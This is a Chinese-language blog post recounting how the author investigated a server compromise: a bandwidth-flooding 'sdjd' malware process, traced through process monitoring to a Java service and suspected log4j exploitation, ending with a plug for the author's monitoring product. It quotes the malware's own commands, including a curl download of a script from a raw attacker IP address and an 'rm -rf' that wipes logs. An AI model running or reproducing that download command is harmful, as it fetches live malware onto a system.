Abstract
本文记录了在产品中遇到的关于被黑客攻击的事件始末. 这里面会讲述到如何通过监控工具来帮助普通程序员与黑客进行"斗智斗勇"的故事.
被攻击
在记录Pcap4j使用的一次异常调查和分析中我描述了如何对网络进行全方位的监控. 之所以有这个是因为某台生产服务器会被黑客经常进行攻击. 我们也尝试过用防火墙禁用某些ip或者端口,发现这个黑客也会时不时变更协议和ip 导致我们一直很烦恼这个事情. 这个攻击在某一段时间大量发送网络数据包 (峰值流量达到50MB/s). 监控如图:
我们也收到了告警:
调查现场
1.发现进程
因为网络带宽被大量占用,导致ssh也很不稳定,时不时会出现掉线的情况.
先用top查看高占用可以进程, 尝试kill -1
(不用kill -9
是因为我发现它会有watchdog进程会自动重启): 这个sdjd
进程十分可疑:
2.临时恢复
为了能完整的结束掉进程, 使用ps -ef 列出所有包含该关键字的进程然后全部结束,结束后网络情况恢复.
3.根因调查
为了能够知道这个进程是谁启动的, 我查看了自己产品的日志, 我们的完全监控
下一代监控产品和服务支持对启动进程的完全监控和日志查看. 这个病毒其实很隐蔽,会在启动后把所有日志文件删掉.`
比如这样的一行
rm 3696944 3696856 0 /bin/rm -rf sdjdshdgdsdsfsfausjashsaggsafsfaa.sparc
代表执行了 rm -rf
命令. 进程id是3696944
, 父进程id是3696856
. 通过这样不断的溯源,找到最开始的可以进程:
这个病毒通过进程2541799
这个进程启动并且尝试用curl下载病毒脚本:
curl http://135.148.58.239:1980/aktualisieren.sh
该病毒会清除history和iptables
当我用ps -ef | grep 2541799
发现这个进程竟然还在, 还是某个java进程:
想到这里突然想到会不是通过log4j的漏洞进行攻击了呢?之前升级过所有的模块. 可能这个是漏网之鱼, 从该进程日志中我发现有如下可疑的日志:
Invalid character found in method name
这个与log4j的漏洞非常相似. 可以参考这里
这里贴出的异常堆栈:
16:48:44.338 [http-nio-8080-exec-1] INFO o.a.coyote.http11.Http11Processor - Error parsing HTTP request header
Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.
java.lang.IllegalArgumentException: Invalid character found in method name [00x0c0x020x010x01`0x070x020x010x030x040x000x800x00...]. HTTP method names must be tokens
at
总结
- 监控产品对于系统运维人员是非常重要的. 有了它才能让我们在问题,事故发生时有迹可循. 我们的监控产品便对广度和深度上做了很好的平衡.
- 保持对常用开源软件的漏洞跟踪也很有必要.